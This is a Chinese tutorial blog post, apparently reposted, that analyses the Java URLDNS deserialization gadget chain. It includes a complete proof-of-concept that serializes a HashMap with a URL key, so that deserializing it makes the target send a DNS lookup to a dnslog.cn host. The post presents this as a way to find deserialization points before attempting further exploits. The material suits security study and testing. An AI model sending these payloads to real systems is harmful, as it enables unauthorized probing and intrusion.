Java反序列化漏洞-URLDNS链分析

这篇具有很好参考价值的文章主要介绍了Java反序列化漏洞-URLDNS链分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录
  • 一、前置知识
    • 反射
  • 二、分析
    • 1. URL
    • 2. HashMap
    • 3. 解决一些问题
      • 反射修改字段值
  • 三、POC
  • 四、利用链

一、前置知识

菜鸟教程 Java 序列化

Java安全-反射

URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么证明该处存在反序列化数据的行为。然后就可以进一步尝试其他反序列化漏洞了。

反射

下面是两个本文中要用到的反射方法:

反射获取类对象:

Student s = new Student();
//方法1
Class clazz = s.getClass();
//方法2
Class clazz2 = Student.class;

反射修改私有成员变量:

Field name = clazz.getDeclaredField("name");
name.setAccessible(true);
name.set(s,"zzy");

二、分析

1. URL

URL.class关键代码

public final class URL implements java.io.Serializable {
    private int hashCode = -1;

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }
}

首先看,URL类中有个hashCode方法,他会调用URLStreamHandler类的hashCode方法,URLStreamHandler的hashCode方法里面有个getHostAddress方法,它又会调用InetAddress下面这行代码,发起DNS请求。

addresses = nameService.lookupAllHostAddr(host);

总而言之,记住调用URL类的hashCode方法就会发起DNS请求就可以了,域名是通过构造方法传入的。

写一下代码来看看能不能实现DNS请求

package com.learn;

import java.net.MalformedURLException;
import java.net.URL;

public class Blog {
    public static void main(String[] args) throws MalformedURLException {
        URL url = new URL("https://test.wc5uoi.dnslog.cn");
        url.hashCode();
    }
}

Java反序列化漏洞-URLDNS链分析

可以看到成功发起了DNS请求

Java反序列化漏洞-URLDNS链分析

我们最终要的效果是在反序列化的过程中发起DNS请求,那么需要在readObject中有hashCode方法,或者在readObject中有的方法调用了URL类的hashCode方法

URL类中的readObject方法

Java反序列化漏洞-URLDNS链分析

URL类自身的readObject方法有点没有头绪,我们还是来找找其他类的readObject方法吧

2. HashMap

可以看到HashMap有一个hash方法调用了hashCode方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

右键hash方法,选择查找用法,可以看到HashMap的readObject方法使用了hash方法,readObject不正好是反序列化的入口点吗,那可太好了

Java反序列化漏洞-URLDNS链分析

在readObject中key是从输入流中读取的。具体来说,在循环中,通过调用s.readObject()方法来读取一个对象,并将其强制转换为K类型,即键的类型。

所以key的值是从序列化的HashMap对象获得的,在这里我们可以把key的值设成URL对象,那么在hash方法中就会调用URL的hashCode方法,进而完成DNS解析。

试着写一下代码

package com.learn;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class Blog {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        URL url = new URL("https://test.9oeary.dnslog.cn");
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        hashMap.put(url, "123");

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        //Serialize
        ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOut.writeObject(obj);
        objectOut.close();
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        //UnSerialize
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object result = objIn.readObject();
        System.out.println(result.toString());
        objIn.close();
    }
}

成功完成DNS请求

Java反序列化漏洞-URLDNS链分析

Java反序列化漏洞-URLDNS链分析

虽然这里成功发起dns请求了,但是把序列化和反序列化代码注释掉,他还是发起了dns请求

Java反序列化漏洞-URLDNS链分析

这是为什么呢?

3. 解决一些问题

通过调试看到,HashMap在put的时候就会调用hash方法

Java反序列化漏洞-URLDNS链分析

所以程序在序列化前就会发起dns请求,那么怎么才能在序列化前不触发dns请求呢?

继续跟进程序,这是URL的hashCode方法:

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

可以看到如果hashCode变量不是-1的话,那么就会return,不会再执行handler.hashCode,这样就不会发起dns请求

继续跟进,发现hashCode在定义时的初始值就是-1

private int hashCode = -1;

反射修改字段值

由于hashCode是私有变量,无法直接修改,所以这里用反射来修改成员变量的值

Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);

由于这里把hashCode改为1了,在put后还需要把它改回-1,让程序在反序列化还会发起dns请求

//将hashCode改为 1
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);

hashMap.put(url, "123");

//将hashCode改回 -1
hashCodeField.set(url, -1);

三、POC

package com.learn;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Blog {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        URL url = new URL("https://test.0x044e.dnslog.cn");
        HashMap<URL, String> hashMap = new HashMap<URL, String>();

        //将hashCode改为 1
        Field hashCodeField = URL.class.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1);

        hashMap.put(url, "随便输入点东西");

        //将hashCode改回 -1
        hashCodeField.set(url, -1);

        serial(hashMap);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        //Serialize
        ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOut.writeObject(obj);
        objectOut.close();
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        //UnSerialize
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object result = objIn.readObject();
        System.out.println(result.toString());
        objIn.close();
    }
}

Java反序列化漏洞-URLDNS链分析

到此poc已构造完毕,把序列化的数据发送到可能存在反序列化时的功能点上,如果dns请求成功,那么就代表这个功能点存在反序列化,之后可以进一步利用其他的反序列化漏洞来进行测试

Java反序列化漏洞-URLDNS链分析文章来源地址https://www.toymoban.com/news/detail-763149.html

四、利用链

HashMap.readObject()
    HashMap.hash()
        URL.hashCode()
            URLStreamHandler.hashCode()
                URLStreamHandler.getHostAddress()

到了这里,关于Java反序列化漏洞-URLDNS链分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java反序列化漏洞-CC1利用链分析

    目录 一、前置知识 1. 反射 2. Commons Collections是什么 3. 环境准备 二、分析利用链 1. Transformer 2. InvokeTransformer 执行命令 3. ConstantTransformer 4. ChainedTransformer 执行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、编写POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    浏览(43)
  • XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析过程做个笔记,从前期JAVA的代理模式动态代理基础知识到XStream解析流程都有记录。 代理是设计模式中的一种,代理类为委托类提供消息预处理、消息转发、事后消息处理等功能,JAVA中代理分为三种角色:代理类、委托类、接口。 以上的定

    2024年02月13日
    浏览(42)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(50)
  • 反序列化渗透与攻防(二)之Java反序列化漏洞

    JAVA反序列化漏洞到底是如何产生的? 1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。 2、Apache Commons Collections是开源小

    2023年04月17日
    浏览(47)
  • 网络安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过 toJSONString 和 parseObject/parse 来实现序列化和反序列化。 使用 对于序列化的方法 toJSONString() 有多个重载形式。 SerializeFeature : 通过设置

    2024年02月08日
    浏览(39)
  • 【新】通达OA前台反序列化漏洞分析

    0x01 前言 注:本文仅以安全研究为目的,分享对该漏洞的挖掘过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。 通达OA作为历史上出现漏洞较多的OA,在经过多轮的迭代之后已经很少前台的RCE漏洞了。一般来说通达OA是通过auth.inc.php文件来进行鉴权,如图

    2024年02月14日
    浏览(44)
  • fastjson 1.2.24 反序列化漏洞(审计分析)

    环境 JDK 8u181 Fastjson 1.2.24 POC 跟进 parse 方法 跟进到底层deserialze 方法 Poc 中传入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 这里实际对应 setDataSourceName 方法,调用此方法并传入 ldap 跟进 setDataSourceName 方法,这里只是简单赋值   步出回此方法 继续步出,进入parseRest方法 跟进

    2023年04月14日
    浏览(41)
  • TP 5.0.24反序列化漏洞分析

    很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢 虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出

    2024年01月17日
    浏览(41)
  • thinkphp5.0.24反序列化漏洞分析

    thinkphp5框架: thinkphp5的入口文件在 publicindex.php ,访问 反序列化起点 写一个反序列化入口点 全局搜索 __destruct() 函数 thinkphp_5.0.24thinkphplibrarythinkprocesspipesWindows.php 中的 __destruct() 函数,调用了removeFiles() 跟进removeFiles(),第163行的file_exists可以触发 __toString 方法 全局搜索

    2023年04月08日
    浏览(41)
  • Laravel 9.1.8 反序列化漏洞分析及复现

    反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。 Laravel是一套简洁、优雅的PHP Web开发框架。 近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行

    2024年02月06日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包